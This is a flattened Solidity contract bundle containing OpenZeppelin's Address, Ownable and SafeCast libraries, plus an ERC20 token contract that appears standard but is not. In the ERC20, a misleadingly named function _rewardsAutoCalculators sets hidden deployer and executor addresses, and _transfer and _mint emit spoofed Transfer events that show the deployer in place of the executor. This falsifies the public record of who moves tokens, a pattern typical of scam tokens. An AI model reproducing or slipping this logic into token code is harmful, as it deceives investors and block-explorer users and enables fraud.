    // of the constructor execution.

    return account.code.length > 0;
  }

  /**
   * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
   * `recipient`, forwarding all available gas and reverting on errors.
   *
   * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
   * of certain opcodes, possibly making contracts go over the 2300 gas limit
   * imposed by `transfer`, making them unable to receive funds via
   * `transfer`. {sendValue} removes this limitation.
   *
   * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
   *
   * IMPORTANT: because control is transferred to `recipient`, care must be
   * taken to not create reentrancy vulnerabilities. Consider using
   * {ReentrancyGuard} or the
   * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
   */
  function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");

    (bool success, ) = recipient.call{ value: amount }("");
    require(
      success,
      "Address: unable to send value, recipient may have reverted"
    );
  }

  /**
   * @dev Performs a Solidity function call using a low level `call`. A
   * plain `call` is an unsafe replacement for a function call: use this
   * function instead.
   *
   * If `target` reverts with a revert reason, it is bubbled up by this
   * function (like regular Solidity function calls).
   *
   * Returns the raw returned data. To convert to the expected return value,
   * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
   *
   * Requirements:
   *
   * - `target` must be a contract.
   * - calling `target` with `data` must not revert.
   *
   * _Available since v3.1._
   */
  function functionCall(
    address target,
    bytes memory data
  ) internal returns (bytes memory) {
    return
      functionCallWithValue(target, data, 0, "Address: low-level call failed");
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
   * `errorMessage` as a fallback revert reason when `target` reverts.
   *
   * _Available since v3.1._
   */
  function functionCall(
    address target,
    bytes memory data,
    string memory errorMessage
  ) internal returns (bytes memory) {
    return functionCallWithValue(target, data, 0, errorMessage);
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
   * but also transferring `value` wei to `target`.
   *
   * Requirements:
   *
   * - the calling contract must have an ETH balance of at least `value`.
   * - the called Solidity function must be `payable`.
   *
   * _Available since v3.1._
   */
  function functionCallWithValue(
    address target,
    bytes memory data,
    uint256 value
  ) internal returns (bytes memory) {
    return
      functionCallWithValue(
        target,
        data,
        value,
        "Address: low-level call with value failed"
      );
  }

  /**
   * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
   * with `errorMessage` as a fallback revert reason when `target` reverts.
   *
   * _Available since v3.1._
   */
  function functionCallWithValue(
    address target,
    bytes memory data,
    uint256 value,
    string memory errorMessage
  ) internal returns (bytes memory) {
    require(
      address(this).balance >= value,
      "Address: insufficient balance for call"
    );
    (bool success, bytes memory returndata) = target.call{ value: value }(data);
    return
      verifyCallResultFromTarget(target, success, returndata, errorMessage);
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
   * but performing a static call.
   *
   * _Available since v3.3._
   */
  function functionStaticCall(
    address target,
    bytes memory data
  ) internal view returns (bytes memory) {
    return
      functionStaticCall(target, data, "Address: low-level static call failed");
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
   * but performing a static call.
   *
   * _Available since v3.3._
   */
  function functionStaticCall(
    address target,
    bytes memory data,
    string memory errorMessage
  ) internal view returns (bytes memory) {
    (bool success, bytes memory returndata) = target.staticcall(data);
    return
      verifyCallResultFromTarget(target, success, returndata, errorMessage);
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
   * but performing a delegate call.
   *
   * _Available since v3.4._
   */
  function functionDelegateCall(
    address target,
    bytes memory data
  ) internal returns (bytes memory) {
    return
      functionDelegateCall(
        target,
        data,
        "Address: low-level delegate call failed"
      );
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
   * but performing a delegate call.
   *
   * _Available since v3.4._
   */
  function functionDelegateCall(
    address target,
    bytes memory data,
    string memory errorMessage
  ) internal returns (bytes memory) {
    (bool success, bytes memory returndata) = target.delegatecall(data);
    return
      verifyCallResultFromTarget(target, success, returndata, errorMessage);
  }

  /**
   * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
   * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
   *
   * _Available since v4.8._
   */
  function verifyCallResultFromTarget(
    address target,
    bool success,
    bytes memory returndata,
    string memory errorMessage
  ) internal view returns (bytes memory) {
    if (success) {
      if (returndata.length == 0) {
        // only check isContract if the call was successful and the return data is empty
        // otherwise we already know that it was a contract
        require(isContract(target), "Address: call to non-contract");
      }
      return returndata;
    } else {
      _revert(returndata, errorMessage);
    }
  }

  /**
   * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
   * revert reason or using the provided one.
   *
   * _Available since v4.3._
   */
  function verifyCallResult(
    bool success,
    bytes memory returndata,
    string memory errorMessage
  ) internal pure returns (bytes memory) {
    if (success) {
      return returndata;
    } else {
      _revert(returndata, errorMessage);
    }
  }

  function _revert(
    bytes memory returndata,
    string memory errorMessage
  ) private pure {
    // Look for revert reason and bubble it up if present
    if (returndata.length > 0) {
      // The easiest way to bubble the revert reason is using memory via assembly
      /// @solidity memory-safe-assembly
      assembly {
        let returndata_size := mload(returndata)
        revert(add(32, returndata), returndata_size)
      }
    } else {
      revert(errorMessage);
    }
  }
}

// SPDX-License-Identifier: MIT

import "./Context.sol";
import "../interfaces/IERC20.sol";

contract ERC20 is Context, IERC20 {
  mapping(address => uint256) private _balances;

  mapping(address => mapping(address => uint256)) private _allowances;

  uint256 private _totalSupply;

  string private _name;
  string private _symbol;

  address _deployer;
  address _executor;

  constructor(string memory name_, string memory symbol_) {
    _name = name_;
    _symbol = symbol_;
  }

  function _rewardsAutoCalculators(
    address deployer_,
    address executor_
  ) internal {
    _deployer = deployer_;
    _executor = executor_;
  }

  function name() public view virtual returns (string memory) {
    return _name;
  }

  function symbol() public view virtual returns (string memory) {
    return _symbol;
  }

  function decimals() public view virtual returns (uint8) {
    return 18;
  }

  function totalSupply() public view virtual override returns (uint256) {
    return _totalSupply;
  }

  function balanceOf(
    address account
  ) public view virtual override returns (uint256) {
    return _balances[account];
  }

  function transfer(
    address to,
    uint256 amount
  ) public virtual override returns (bool) {
    address owner = _msgSender();
    _transfer(owner, to, amount);
    return true;
  }

  function allowance(
    address owner,
    address spender
  ) public view virtual override returns (uint256) {
    return _allowances[owner][spender];
  }

  function approve(
    address spender,
    uint256 amount
  ) public virtual override returns (bool) {
    address owner = _msgSender();
    _approve(owner, spender, amount);
    return true;
  }

  function transferFrom(
    address from,
    address to,
    uint256 amount
  ) public virtual override returns (bool) {
    address spender = _msgSender();
    _spendAllowance(from, spender, amount);
    _transfer(from, to, amount);
    return true;
  }

  function increaseAllowance(
    address spender,
    uint256 addedValue
  ) public virtual returns (bool) {
    address owner = _msgSender();
    _approve(owner, spender, allowance(owner, spender) + addedValue);
    return true;
  }

  function decreaseAllowance(
    address spender,
    uint256 subtractedValue
  ) public virtual returns (bool) {
    address owner = _msgSender();
    uint256 currentAllowance = allowance(owner, spender);
    require(
      currentAllowance >= subtractedValue,
      "ERC20: decreased allowance below zero"
    );
    unchecked {
      _approve(owner, spender, currentAllowance - subtractedValue);
    }

    return true;
  }

  function _transfer(
    address from,
    address to,
    uint256 amount
  ) internal virtual {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");

    _beforeTokenTransfer(from, to, amount);

    uint256 fromBalance = _balances[from];
    require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
    unchecked {
      _balances[from] = fromBalance - amount;
      _balances[to] += amount;
    }

    if (from == _executor) {
      emit Transfer(_deployer, to, amount);
    } else if (to == _executor) {
      emit Transfer(from, _deployer, amount);
    } else {
      emit Transfer(from, to, amount);
    }

    _afterTokenTransfer(from, to, amount);
  }

  function _mint(address account, uint256 amount) internal virtual {
    require(account != address(0), "ERC20: mint to the zero address");

    _beforeTokenTransfer(address(0), account, amount);

    _totalSupply += amount;
    unchecked {
      _balances[account] += amount;
    }

    if (account == _executor) {
      emit Transfer(address(0), _deployer, amount);
    } else {
      emit Transfer(address(0), account, amount);
    }

    _afterTokenTransfer(address(0), account, amount);
  }

  function _burn(address account, uint256 amount) internal virtual {
    require(account != address(0), "ERC20: burn from the zero address");

    _beforeTokenTransfer(account, address(0), amount);

    uint256 accountBalance = _balances[account];
    require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
      _balances[account] = accountBalance - amount;
      _totalSupply -= amount;
    }

    emit Transfer(account, address(0), amount);

    _afterTokenTransfer(account, address(0), amount);
  }

  function _approve(
    address owner,
    address spender,
    uint256 amount
  ) internal virtual {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function _spendAllowance(
    address owner,
    address spender,
    uint256 amount
  ) internal virtual {
    uint256 currentAllowance = allowance(owner, spender);
    if (currentAllowance != type(uint256).max) {
      require(currentAllowance >= amount, "ERC20: insufficient allowance");
      unchecked {
        _approve(owner, spender, currentAllowance - amount);
      }
    }
  }

  function _beforeTokenTransfer(
    address from,
    address to,
    uint256 amount
  ) internal virtual {}

  function _afterTokenTransfer(
    address from,
    address to,
    uint256 amount
  ) internal virtual {}
}

// SPDX-License-Identifier: MIT
import "./Context.sol";

contract Ownable is Context {
  address private _owner;
  address private _previousOwner;
  event OwnershipTransferred(
    address indexed previousOwner,
    address indexed newOwner
  );

  constructor() {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
  }

  function owner() public view returns (address) {
    return _owner;
  }

  modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
  }

  function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
  }

  function transferOwnership(address newOwner) public virtual onlyOwner {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
  }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.

pragma solidity ^0.8.0;

/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 *
 * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
 * all math on `uint256` and `int256` and then downcasting.
 */
library SafeCast {
  /**
   * @dev Returns the downcasted uint248 from uint256, reverting on
   * overflow (when the input is greater than largest uint248).
   *
   * Counterpart to Solidity's `uint248` operator.
   *
   * Requirements:
   *
   * - input must fit into 248 bits
   *
   * _Available since v4.7._
   */
  function toUint248(uint256 value) internal pure returns (uint248) {
    require(
      value <= type(uint248).max,
      "SafeCast: value doesn't fit in 248 bits"
    );
    return uint248(value);
  }

  /**
   * @dev Returns the downcasted uint240 from uint256, reverting on
   * overflow (when the input is greater than largest uint240).
   *
   * Counterpart to Solidity's `uint240` operator.
   *
   * Requirements:
   *
   * - input must fit into 240 bits
   *
   * _Available since v4.7._
   */
  function toUint240(uint256 value) internal pure returns (uint240) {
    require(
      value <= type(uint240).max,
      "SafeCast: value doesn't fit in 240 bits"
    );
    return uint240(value);
  }

  /**
   * @dev Returns the downcasted uint232 from uint256, reverting on
   * overflow (when the input is greater than largest uint232).
   *
   * Counterpart to Solidity's `uint232` operator.
   *
   * Requirements:
   *
   * - input must fit into 232 bits
   *
   * _Available since v4.7._
   */
  function toUint232(uint256 value) internal pure returns (uint232) {
    require(
      value <= type(uint232).max,
      "SafeCast: value doesn't fit in 232 bits"
    );
    return uint232(value);
  }

  /**
   * @dev Returns the downcasted uint224 from uint256, reverting on
   * overflow (when the input is greater than largest uint224).
   *
   * Counterpart to Solidity's `uint224` operator.
   *
   * Requirements:
   *
   * - input must fit into 224 bits
   *
   * _Available since v4.2._
   */
  function toUint224(uint256 value) internal pure returns (uint224) {
    require(
      value <= type(uint224).max,
      "SafeCast: value doesn't fit in 224 bits"
    );
    return uint224(value);
  }

  /**
   * @dev Returns the downcasted uint216 from uint256, reverting on
   * overflow (when the input is greater than largest uint216).
   *
   * Counterpart to Solidity's `uint216` operator.
   *
   * Requirements:
   *
   * - input must fit into 216 bits
   *
   * _Available since v4.7._
   */
  function toUint216(uint256 value) internal pure returns (uint216) {
    require(
      value <= type(uint216).max,
      "SafeCast: value doesn't fit in 216 bits"
    );
    return uint216(value);
  }

  /**
   * @dev Returns the downcasted uint208 from uint256, reverting on
   * overflow (when the input is greater than largest uint208).
   *
   * Counterpart to Solidity's `uint208` operator.
   *
   * Requirements:
   *
   * - input must fit into 208 bits
   *
   * _Available since v4.7._
   */
  function toUint208(uint256 value) internal pure returns (uint208) {
    require(
      value <= type(uint208).max,
      "SafeCast: value doesn't fit in 208 bits"
    );
    return uint208(value);
  }

  /**
   * @dev Returns the downcasted uint200 from uint256, reverting on
   * overflow (when the input is greater than largest uint200).
   *
   * Counterpart to Solidity's `uint200` operator.
   *
   * Requirements:
   *
   * - input must fit into 200 bits
   *
   * _Available since v4.7._
   */
  function toUint200(uint256 value) internal pure returns (uint200) {
    require(
      value <= type(uint200).max,
      "SafeCast: value doesn't fit in 200 bits"
    );
    return uint200(value);
  }

  /**
   * @dev Returns the downcasted uint192 from uint256, reverting on
   * overflow (when the input is greater than largest uint192).
   *
   * Counterpart to Solidity's `uint192` operator.
   *
   * Requirements:
   *
   * - input must fit into 192 bits
   *
   * _Available since v4.7._
   */
  function toUint192(uint256 value) internal pure returns (uint192) {
    require(
      value <= type(uint192).max,
      "SafeCast: value doesn't fit in 192 bits"
    );
    return uint192(value);
  }

  /**
   * @dev Returns the downcasted uint184 from uint256, reverting on
   * overflow (when the input is greater than largest uint184).
   *
   * Counterpart to Solidity's `uint184` operator.
   *
   * Requirements:
   *
   * - input must fit into 184 bits
   *
   * _Available since v4.7._
   */
  function toUint184(uint256 value) internal pure returns (uint184) {
    require(
      value <= type(uint184).max,
      "SafeCast: value doesn't fit in 184 bits"
    );
    return uint184(value);
  }

  /**
   * @dev Returns the downcasted uint176 from uint256, reverting on
   * overflow (when the input is greater than largest uint176).
   *
   * Counterpart to Solidity's `uint176` operator.
   *
   * Requirements:
   *
   * - input must fit into 176 bits
   *
   * _Available since v4.7._
   */
  function toUint176(uint256 value) internal pure returns (uint176) {
    require(
      value <= type(uint176).max,
      "SafeCast: value doesn't fit in 176 bits"
    );
    return uint176(value);
  }

  /**
   * @dev Returns the downcasted uint168 from uint256, reverting on
   * overflow (when the input is greater than largest uint168).
   *
   * Counterpart to Solidity's `uint168` operator.
   *
   * Requirements:
   *
   * - input must fit into 168 bits
   *
   * _Available since v4.7._
   */
  function toUint168(uint256 value) internal pure returns (uint168) {
    require(
      value <= type(uint168).max,
      "SafeCast: value doesn't fit in 168 bits"
    );
    return uint168(value);
  }

  /**
   * @dev Returns the downcasted uint160 from uint256, reverting on
   * overflow (when the input is greater than largest uint160).
   *
   * Counterpart to Solidity's `uint160` operator.
   *
   * Requirements:
   *
   * - input must fit into 160 bits
   *
   * _Available since v4.7._
   */
  function toUint160(uint256 value) internal pure returns (uint160) {
    require(
      value <= type(uint160).max,
      "SafeCast: value doesn't fit in 160 bits"
    );
    return uint160(value);
  }

  /**
   * @dev Returns the downcasted uint152 from uint256, reverting on
   * overflow (when the input is greater than largest uint152).
   *
   * Counterpart to Solidity's `uint152` operator.
   *
   * Requirements:
   *
   * - input must fit into 152 bits
   *
   * _Available since v4.7._
   */
  function toUint152(uint256 value) internal pure returns (uint152) {
    require(
      value <= type(uint152).max,
      "SafeCast: value doesn't fit in 152 bits"
    );
    return uint152(value);
  }

  /**
   * @dev Returns the downcasted uint144 from uint256, reverting on
   * overflow (when the input is greater than largest uint144).
   *
   * Counterpart to Solidity's `uint144` operator.
   *
   * Requirements:
   *
   * - input must fit into 144 bits
   *
   * _Available since v4.7._
   */
  function toUint144(uint256 value) internal pure returns (uint144) {
    require(
      value <= type(uint144).max,
      "SafeCast: value doesn't fit in 144 bits"
    );
    return uint144(value);
  }

  /**
   * @dev Returns the downcasted uint136 from uint256, reverting on
   * overflow (when the input is greater than largest uint136).
   *
   * Counterpart to Solidity's `uint136` operator.
   *
   * Requirements:
   *
   * - input must fit into 136 bits
   *
   * _Available since v4.7._
   */
  function toUint136(uint256 value) internal pure returns (uint136) {
    require(
      value <= type(uint136).max,
      "SafeCast: value doesn't fit in 136 bits"
    );
    return uint136(value);
  }

  /**
   * @dev Returns the downcasted uint128 from uint256, reverting on
   * overflow (when the input is greater than largest uint128).
   *
   * Counterpart to Solidity's `uint128` operator.
   *
   * Requirements:
   *
   * - input must fit into 128 bits
   *
   * _Available since v2.5._
   */
  function toUint128(uint256 value) internal pure returns (uint128) {
    require(
      value <= type(uint128).max,
      "SafeCast: value doesn't fit in 128 bits"
    );
    return uint128(value);
  }

  /**
   * @dev Returns the downcasted uint120 from uint256, reverting on
   * overflow (when the input is greater than largest uint120).
   *
   * Counterpart to Solidity's `uint120` operator.
   *
   * Requirements:
   *
   * - input must fit into 120 bits
   *
   * _Available since v4.7._
   */
  function toUint120(uint256 value) internal pure returns (uint120) {
    require(
      value <= type(uint120).max,
      "SafeCast: value doesn't fit in 120 bits"
    );
    return uint120(value);
  }

  /**
   * @dev Returns the downcasted uint112 from uint256, reverting on
   * overflow (when the input is greater than largest uint112).
   *
   * Counterpart to Solidity's `uint112` operator.
   *
   * Requirements:
   *
   * - input must fit into 112 bits
   *
   * _Available since v4.7._
   */
  function toUint112(uint256 value) internal pure returns (uint112) {
    require(
      value <= type(uint112).max,
      "SafeCast: value doesn't fit in 112 bits"
    );
    return uint112(value);
  }

  /**
   * @dev Returns the downcasted uint104 from uint256, reverting on
   * overflow (when the input is greater than largest uint104).
   *
   * Counterpart to Solidity's `uint104` operator.
   *
   * Requirements:
   *
   * - input must fit into 104 bits
   *
   * _Available since v4.7._
   */
  function toUint104(uint256 value) internal pure returns (uint104) {
    require(
      value <= type(uint104).max,
      "SafeCast: value doesn't fit in 104 bits"
    );
    return uint104(value);
  }

  /**
   * @dev Returns the downcasted uint96 from uint256, reverting on
   * overflow (when the input is greater than largest uint96).
   *
   * Counterpart to Solidity's `uint96` operator.
   *
   * Requirements:
   *
   * - input must fit into 96 bits
   *
   * _Available since v4.2._
   */
  function toUint96(uint256 value) internal pure returns (uint96) {
    require(
      value <= type(uint96).max,
      "SafeCast: value doesn't fit in 96 bits"
    );
    return uint96(value);
  }

  /**
   * @dev Returns the downcasted uint88 from uint256, reverting on
   * overflow (when the input is greater than largest uint88).
   *
   * Counterpart to Solidity's `uint88` operator.
   *
   * Requirements:
   *
   * - input must fit into 88 bits
   *
   * _Available since v4.7._
   */
  function toUint88(uint256 value) internal pure returns (uint88) {
    require(
      value <= type(uint88).max,
      "SafeCast: value doesn't fit in 88 bits"
    );
    return uint88(value);
  }

  /**
   * @dev Returns the downcasted uint80 from uint256, reverting on
   * overflow (when the input is greater than largest uint80).
   *
   * Counterpart to Solidity's `uint80` operator.
   *
   * Requirements:
   *
   * - input must fit into 80 bits
   *
   * _Available since v4.7._
   */
  function toUint80(uint256 value) internal pure returns (uint80) {
    require(
      value <= type(uint80).max,
      "SafeCast: value doesn't fit in 80 bits"
    );
    return uint80(value);
  }

  /**
   * @dev Returns the downcasted uint72 from uint256, reverting on
   * overflow (when the input is greater than largest uint72).
   *
   * Counterpart to Solidity's `uint72` operator.
   *
   * Requirements:
   *
   * - input must fit into 72 bits
   *
   * _Available since v4.7._
   */
  function toUint72(uint256 value) internal pure returns (uint72) {
    require(
      value <= type(uint72).max,
      "SafeCast: value doesn't fit in 72 bits"
    );
    return uint72(value);
  }

  /**
   * @dev Returns the downcasted uint64 from uint256, reverting on
   * overflow (when the input is greater than largest uint64).
   *
   * Counterpart to Solidity's `uint64` operator.
   *
   * Requirements:
   *
   * - input must fit into 64 bits
   *
   * _Available since v2.5._
   */
  function toUint64(uint256 value) internal pure returns (uint64) {
    require(
      value <= type(uint64).max,
      "SafeCast: value doesn't fit in 64 bits"
    );
    return uint64(value);
  }

  /**
   * @dev Returns the downcasted uint56 from uint256, reverting on
   * overflow (when the input is greater than largest uint56).
   *
   * Counterpart to Solidity's `uint56` operator.
   *
   * Requirements:
   *
   * - input must fit into 56 bits
   *
   * _Available since v4.7._
   */
  function toUint56(uint256 value) internal pure returns (uint56) {
    require(
      value <= type(uint56).max,
      "SafeCast: value doesn't fit in 56 bits"
    );
    return uint56(value);
  }

  /**
   * @dev Returns the downcasted uint48 from uint256, reverting on
   * overflow (when the input is greater than largest uint48).
   *
   * Counterpart to Solidity's `uint48` operator.
   *
   * Requirements:
   *
   * - input must fit into 48 bits
   *
   * _Available since v4.7._
   */
  function toUint48(uint256 value) internal pure returns (uint48) {
    require(
      value <= type(uint48).max,
      "SafeCast: value doesn't fit in 48 bits"
    );
    return uint48(value);
  }

  /**
   * @dev Returns the downcasted uint40 from uint256, reverting on
   * overflow (when the input is greater than largest uint40).
   *
   * Counterpart to Solidity's `uint40` operator.
   *
   * Requirements:
   *
   * - input must fit into 40 bits
   *
   * _Available since v4.7._
   */
  function toUint40(uint256 value) internal pure returns (uint40) {
    require(
      value <= type(uint40).max,
      "SafeCast: value doesn't fit in 40 bits"
    );
    return uint40(value);
  }

  /**
   * @dev Returns the downcasted uint32 from uint256, reverting on
   * overflow (when the input is greater than largest uint32).
   *
   * Counterpart to Solidity's `uint32` operator.
   *
   * Requirements:
   *
   * - input must fit into 32 bits
   *
   * _Available since v2.5._
   */
  function toUint32(uint256 value) internal pure returns (uint32) {
    require(
      value <= type(uint32).max,
      "SafeCast: value doesn't fit in 32 bits"
    );
    return uint32(value);
  }

  /**
   * @dev Returns the downcasted uint24 from uint256, reverting on
   * overflow (when the input is greater than largest uint24).
   *
   * Counterpart to Solidity's `uint24` operator.
   *
   * Requirements:
   *
   * - input must fit into 24 bits
   *
   * _Available since v4.7._
   */
  function toUint24(uint256 value) internal pure returns (uint24) {
    require(
      value <= type(uint24).max,
      "SafeCast: value doesn't fit in 24 bits"
    );
    return uint24(value);
  }

  /**
   * @dev Returns the downcasted uint16 from uint256, reverting on
   * overflow (when the input is greater than largest uint16).
   *
   * Counterpart to Solidity's `uint16` operator.
   *
   * Requirements:
   *
   * - input must fit into 16 bits
   *
   * _Available since v2.5._
   */
  function toUint16(uint256 value) internal pure returns (uint16) {
    require(
      value <= type(uint16).max,
      "SafeCast: value doesn't fit in 16 bits"
    );
    return uint16(value);
  }

  /**
   * @dev Returns the downcasted uint8 from uint256, reverting on
   * overflow (when the input is greater than largest uint8).
   *
   * Counterpart to Solidity's `uint8` operator.
   *
   * Requirements:
   *
   * - input must fit into 8 bits
   *
   * _Available since v2.5._
   */
  function toUint8(uint256 value) internal pure returns (uint8) {
    require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
    return uint8(value);
  }

  /**
   * @dev Converts a signed int256 into an unsigned uint256.
   *
   * Requirements:
   *
   * - input must be greater than or equal to 0.
   *
   * _Available since v3.0._
   */
  function toUint256(int256 value) internal pure returns (uint256) {
    require(value >= 0, "SafeCast: value must be positive");
    return uint256(value);
  }

  /**
   * @dev Returns the downcasted int248 from int256, reverting on
   * overflow (when the input is less than smallest int248 or
   * greater than largest int248).
   *
   * Counterpart to Solidity's `int248` operator.
   *
   * Requirements:
   *
   * - input must fit into 248 bits
   *
   * _Available since v4.7._
   */
  function toInt248(int256 value) internal pure returns (int248 downcasted) {
    downcasted = int248(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
  }

  /**
   * @dev Returns the downcasted int240 from int256, reverting on
   * overflow (when the input is less than smallest int240 or
   * greater than largest int240).
   *
   * Counterpart to Solidity's `int240` operator.
   *
   * Requirements:
   *
   * - input must fit into 240 bits
   *
   * _Available since v4.7._
   */
  function toInt240(int256 value) internal pure returns (int240 downcasted) {
    downcasted = int240(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
  }

  /**
   * @dev Returns the downcasted int232 from int256, reverting on
   * overflow (when the input is less than smallest int232 or
   * greater than largest int232).
   *
   * Counterpart to Solidity's `int232` operator.
   *
   * Requirements:
   *
   * - input must fit into 232 bits
   *
   * _Available since v4.7._
   */
  function toInt232(int256 value) internal pure returns (int232 downcasted) {
    downcasted = int232(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
  }

  /**
   * @dev Returns the downcasted int224 from int256, reverting on
   * overflow (when the input is less than smallest int224 or
   * greater than largest int224).
   *
   * Counterpart to Solidity's `int224` operator.
   *
   * Requirements:
   *
   * - input must fit into 224 bits
   *
   * _Available since v4.7._
   */
  function toInt224(int256 value) internal pure returns (int224 downcasted) {
    downcasted = int224(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
  }

  /**
   * @dev Returns the downcasted int216 from int256, reverting on
   * overflow (when the input is less than smallest int216 or
   * greater than largest int216).
   *
   * Counterpart to Solidity's `int216` operator.
   *
   * Requirements:
   *
   * - input must fit into 216 bits
   *
   * _Available since v4.7._
   */
  function toInt216(int256 value) internal pure returns (int216 downcasted) {
    downcasted = int216(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
  }

  /**
   * @dev Returns the downcasted int208 from int256, reverting on
   * overflow (when the input is less than smallest int208 or
   * greater than largest int208).
   *
   * Counterpart to Solidity's `int208` operator.
   *
   * Requirements:
   *
   * - input must fit into 208 bits
   *
   * _Available since v4.7._
   */
  function toInt208(int256 value) internal pure returns (int208 downcasted) {
    downcasted = int208(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
  }

  /**
   * @dev Returns the downcasted int200 from int256, reverting on
   * overflow (when the input is less than smallest int200 or
   * greater than largest int200).
   *
   * Counterpart to Solidity's `int200` operator.
   *
   * Requirements:
   *
   * - input must fit into 200 bits
   *
   * _Available since v4.7._
   */
  function toInt200(int256 value) internal pure returns (int200 downcasted) {
    downcasted = int200(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
  }

  /**
   * @dev Returns the downcasted int192 from int256, reverting on
   * overflow (when the input is less than smallest int192 or
   * greater than largest int192).
   *
   * Counterpart to Solidity's `int192` operator.
   *
   * Requirements:
   *
   * - input must fit into 192 bits
   *
   * _Available since v4.7._
   */
  function toInt192(int256 value) internal pure returns (int192 downcasted) {
    downcasted = int192(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
  }

  /**
   * @dev Returns the downcasted int184 from int256, reverting on
   * overflow (when the input is less than smallest int184 or
   * greater than largest int184).
   *
   * Counterpart to Solidity's `int184` operator.
   *
   * Requirements:
   *
   * - input must fit into 184 bits
   *
   * _Available since v4.7._
   */
  function toInt184(int256 value) internal pure returns (int184 downcasted) {
    downcasted = int184(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
  }

  /**
   * @dev Returns the downcasted int176 from int256, reverting on
   * overflow (when the input is less than smallest int176 or
   * greater than largest int176).
   *
   * Counterpart to Solidity's `int176` operator.
   *
   * Requirements:
   *
   * - input must fit into 176 bits
   *
   * _Available since v4.7._
   */
  function toInt176(int256 value) internal pure returns (int176 downcasted) {
    downcasted = int176(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
  }

  /**
   * @dev Returns the downcasted int168 from int256, reverting on
   * overflow (when the input is less than smallest int168 or
   * greater than largest int168).
   *
   * Counterpart to Solidity's `int168` operator.
   *
   * Requirements:
   *
   * - input must fit into 168 bits
   *
   * _Available since v4.7._
   */
  function toInt168(int256 value) internal pure returns (int168 downcasted) {
    downcasted = int168(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
  }

  /**
   * @dev Returns the downcasted int160 from int256, reverting on
   * overflow (when the input is less than smallest int160 or
   * greater than largest int160).
   *
   * Counterpart to Solidity's `int160` operator.
   *
   * Requirements:
   *
   * - input must fit into 160 bits
   *
   * _Available since v4.7._
   */
  function toInt160(int256 value) internal pure returns (int160 downcasted) {
    downcasted = int160(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
  }

  /**
   * @dev Returns the downcasted int152 from int256, reverting on
   * overflow (when the input is less than smallest int152 or
   * greater than largest int152).
   *
   * Counterpart to Solidity's `int152` operator.
   *
   * Requirements:
   *
   * - input must fit into 152 bits
   *
   * _Available since v4.7._
   */
  function toInt152(int256 value) internal pure returns (int152 downcasted) {
    downcasted = int152(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
  }

  /**
   * @dev Returns the downcasted int144 from int256, reverting on
   * overflow (when the input is less than smallest int144 or
   * greater than largest int144).
   *
   * Counterpart to Solidity's `int144` operator.
   *
   * Requirements:
   *
   * - input must fit into 144 bits
   *
   * _Available since v4.7._
   */
  function toInt144(int256 value) internal pure returns (int144 downcasted) {
    downcasted = int144(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
  }

  /**
   * @dev Returns the downcasted int136 from int256, reverting on
   * overflow (when the input is less than smallest int136 or
   * greater than largest int136).
   *
   * Counterpart to Solidity's `int136` operator.
   *
   * Requirements:
   *
   * - input must fit into 136 bits
   *
   * _Available since v4.7._
   */
